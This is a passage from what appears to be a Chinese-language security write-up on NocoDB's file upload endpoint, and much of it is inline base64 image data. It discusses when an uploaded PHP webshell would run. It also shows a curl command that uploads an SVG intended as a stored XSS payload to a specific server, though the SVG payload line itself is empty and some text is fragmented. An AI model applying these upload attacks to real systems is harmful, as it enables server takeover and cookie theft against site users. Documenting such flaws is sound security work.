qlTL9UFuEBWr5/0W8DsE7Eo/ezEInA4SbOJjDrb8XNixdLYnK1jlZ53RcVUta8JtxM/F5GyMGuP3Xxa+gS2ifjx6u5rwryjFF13qsaPTrXt+DeJrMjJblF8jp4mR9dKbfop01R6NhsqL59L15n0vOfHT9G1sjwOFeFRlpkTyboWqPNgiQbzcqlGrt3N1Xs1acObzbFr8mB5WnUfTJA20nlHnwdLrxfmGEvvTzXraDS0HX3auERLS0tPs0x/+bnHvvR00ief/vXC70e+9NjPhfV+3fxVtk/+enw7yW1HfzfazuiztGg7dvn1+Aqf/PXh30TruO+/9NjTPzfcZtbyc08nD82GLSs8WeuO1tEfl3YJx18a/npLWRzqznu05MePX8Ixpbh9/dxjT7sYdPsN24mOPQTSfpcZnrE4Ko93zfnSHXv2MTkuPuPbD8c19vloX/EwR+cmOheaRXNc8c/S/L6KvhtfEmnISe8/tiTOs13K91Wcj8PfZ8Rp0TIW5sy/zz9f2XGaXIrST/x4ovWKzvN4HCf3nbWv9Pa04UkuOccZzuNIwTl3S43tzNU65ec961wNxeO5ZF9NbUcTZrco4qc8rTYXP03syy5leSda/P4y0oRdxuLGyMgzZWHW5sHK2ym4psRlxpXivNvFby8nfuzSVHrOWjfj+MrWKTvv6vgJ6SwtcW4UcahNh6NlPH1nhXkoxGHWOul0pDkXmn1pthMPd918YZei867dTmIb7u99XEfh04enPG2UHXu0+PUK8pdZio7dLZq83EA+zYqfrLScta3keroyfHx/48elWUezlG0n+zxlHUdx2siKw0i0Hc06ky732X9COwvmmh3G0nUTcqXnWLFPVdx40t3kRLJAVX6OnH5xi/q+nYTLDj2t8UQG0xGeiiReabqISGPX0yKe91mG+aruCwDQLMrwS8OwoEWx5d8PPsh4lZabjAmYCc3kWLgsE3XVnDuksetpEc/7LMN8VfcFAGgWZfhloufKwsjpuRKN38vo0QJUpeq5gjlhLp6nG3K8HuX7UEbYSa8XutsKAAAAsHhoXFko4eYp/BaxE3JNPBkXEEPjyoIZTo4W0LACAACAqcu+Lx1zzToA0LgCAAAAAABQA3OuAAAAAAAA1EDjCgAAAAAAQA00rgAAAAAAANRA4woAAAAAAEANV6Nxxb4x4+JCTvfD7zNk365ycXEq9Xe9JUfnF2Zb53K0ZX7dPzU/m9/Pj8w3AAAAAABgXtFzZV6d9WVg/+/fuzavrgIAAAAAYBE107gSeo64nhbxJd6VJOqJEV+yemVkbOvcdeWYwHBboTfIXDuQe337f1/u0ZoCAAAAAMDCaKZx5WBTVpeXZXm47MqJ63YRs70e+94uh9JrdWQv3sBiG2D2OtI/jK132JNWZ69iA0sYYrMjcjwWkAVxcE9sW8ugf+Z/BwAAAAAAc+kShwVtyx3b8NFakbXwyf7NtsjgRO5shw+s7Tuuoaa1Eq1l7ctpvHfLXkda4Rtr/3RP1s52ZXl1U+o0Tbj5VFzjT3J/2Q09+etot7O9bhuU1k3MuN9kfXlZVjfpxgIAAAAAwDybvzlXYo0t3pqstGI9ONxQn66snOyOerfsnvj5SQLbSNFYo4TtXWP2J1FvmtCTJjl5blu6Y+vsJIciqbYDAAAAAAAWzeU1rmwdyU6nJYOTO6Gnhm0UOZSea6iI5kixPT260h6cyO3QWLJ/qyOt2O+z0DtclvVhIH1PmvbNZKtIcp275jhasraR7Jmi2Q4AAAAAAFgss21ciU9Wa4fy9A5TPUz8UJjDXks6e3a9rrTNOnZ4T2haETdy6Ox4hm/Q6cndqEHECRPPrtyITcabXieLZjsAAAAAAGDRzLZxJTXx7aF0JfkmHz8nSbfdk0O7jh3u006vAwAAAAAAMD8udc4VPwwoGj5j3/DTlbb55DCa1NU1xvh1OjtH9hMAAAAAAIC5MqXGldQktCr+b8wfpd7wcyZ9O1tta2X4c/LNQWEelvBzZcOhSqeim/2kqaFJlzHECQAAAAAANK2ZxpX908Rbb7aONqQtAzk7Lmo2GPVUOXbzrmzL3Z75r9WRW/FWjv1b0rEtJ7275p8DOT6zs8BuDIcJ2dccd1cGibcFVbG1sRYaZtqimVt2/zQe5sk1tR0AAAAAAHC5mmlc2V6XuzfDRLVm2euInOyuSrzdwDaCRN/7ZU/WzuzrlMMQIMO+QvmwJ9LuxtbrtmVgX7scXrNzsLkam/DW7GvlWJZXj8XODRuJ72vPtcyM1r84P0pMIHtwfBYaZvImpbVvLwp/a5buyonsxsKs19R2AAAAAADAPLlvaWnp6fAzUmwjzV6nP5oDZkJNbQcAAAAAAMyfS53QFgAAAAAAYNHRuAIAAAAAAFBDYePKaWyOkNwlNYcJAAAAAADAdcKcKwAAAAAAADUwLAgAAAAAAKAGGlcAAAAAAABqoHEFAAAAAACgBhpXAAAAAAAAaljAxpX90VuMTvfDZwAAAAAAAJdjgd8WZBtZutLuHcry+nb4DAAAAAAAYLYWeFjQttw5GYis3JCt8AkAAAAAAMCsLf6cK60VWQs/AgAAAAAAzBoT2gIAAAAAANRA4woAAAAAAEANC924cnCvH34CAAAAAAC4HIvdc+WsLwNpy8YRU9oCAAAAAIDLsdiNKwebsrq8LMcre3JxcSHnNLIAAAAAAIAZW+zGla0jOb+4kJt3l2V5eVlWNw/CFwAAAAAAALOx0I0rWxtr0pKe3N0OHwAAAAAAAMzYYvdcAQAAAAAAuGQ0rgAAAAAAANRA4woAAAAAAEANNK4AAAAAAADUsMCNK/tyq9MS6d0V5rMFAAAAAACXZQEbV/bl9OJCLi660h6cyO46TSsAAAAAAODy3Le0tPR0+BkAAAAAAAAVMecKAAAAAABADTSuAAAAAAAA1EDjCgAAAAAAQA00rgAAAAAAANSgalzZOjqXC/eGnrCcH8lW+A4AAAAAAOA6UzWuHGyuyvLyslsOe+FDAAAAAAAAMCwIAAAAAACgDhpXAAAAAAAAaqBxBQAAAAAAoAYaVwAAAAAAAGqgcQUAAAAAAKAGGlcAAAAAAABqoHEFAAAAAACgBhpXAAAAAAAAaqBxBQAAAAAAoAYaVwAAAAAAAGqgcQUAAAAAAKAGGlcAAAAAAABqoHEFAAAAAACgBhpXAAAAAAAAalA1rmwdncvFxYVbuu3wIQAAAAAAAOS+paWlp8PPAGboG9/0sfBTvr/8X78r/AQAAAAAmFcMCwIAAAAAAKiBxhUAAAAAAIAaaFwBAAAAAACogcYVAAAAAACAGhppXHnBY4/KDzz+qLzsreGDBXL/zt+Xlz/2Fhf+H3j8LfLwb323PPOh8CUKLfJ5b9aWHJ1fyPnRVvgdAAAAAHB9iPz/vT9gvR64pzEAAAAASUVORK5CYII=) + +application/x-httpd-php。 + +PHP webshell 在这个场景下的实际利用路径不太直接。NocoDB 本身是 Node.js 环境,不会解析 PHP。但如果 NocoDB 和 Nginx/Apache 共享存储卷——比如 Docker 挂载了同一个 host 目录给 NocoDB 和 PHP-FPM 容器——上传的 PHP 文件就能通过反向代理的 PHP 解析路径执行。 + +即使没有 PHP 解析环境,攻击者上传的 PHP 文件也可以被用作其他用途,比如上传 crossdomain.xml 绕过 Flash 同源策略(过时攻击向量了)或上传 .htaccess 改变目录配置(如果存储目录允许)。但 PHP webshell 的实际利用确实需要特定条件,不是每个部署都奏效。 + + +### 3.4 上传SVG——存储型XSS + + +SVG 文件的 XSS 是"老活"了——SVG 规范允许在 标签上绑定事件处理器,浏览器在渲染 SVG 时执行这些 JavaScript: + + +``` +$ echo '' > xss.svg +$ curl -s -X POST http://139.199.68.168:8080/api/v1/db/storage/upload \ + -H "xc-auth: $TOKEN" \ + -F "file=@xss.svg" +``` + +SVG 上传成功。SVG 的 XSS 之所以危险,是因为浏览器直接打开 SVG 文件时,onload 事件会在 SVG 的渲染上下文中执行 JavaScript,同源策略允许它读取同域下的 Cookie。虽然 NocoDB 把 SVG 标记为不可预览(触发下载而非渲染),但用户手动下载后双击打开,XSS 同样会执行。 + +我在附件帮助文件里找到了一行注释 + + +![](data:image/png;base64,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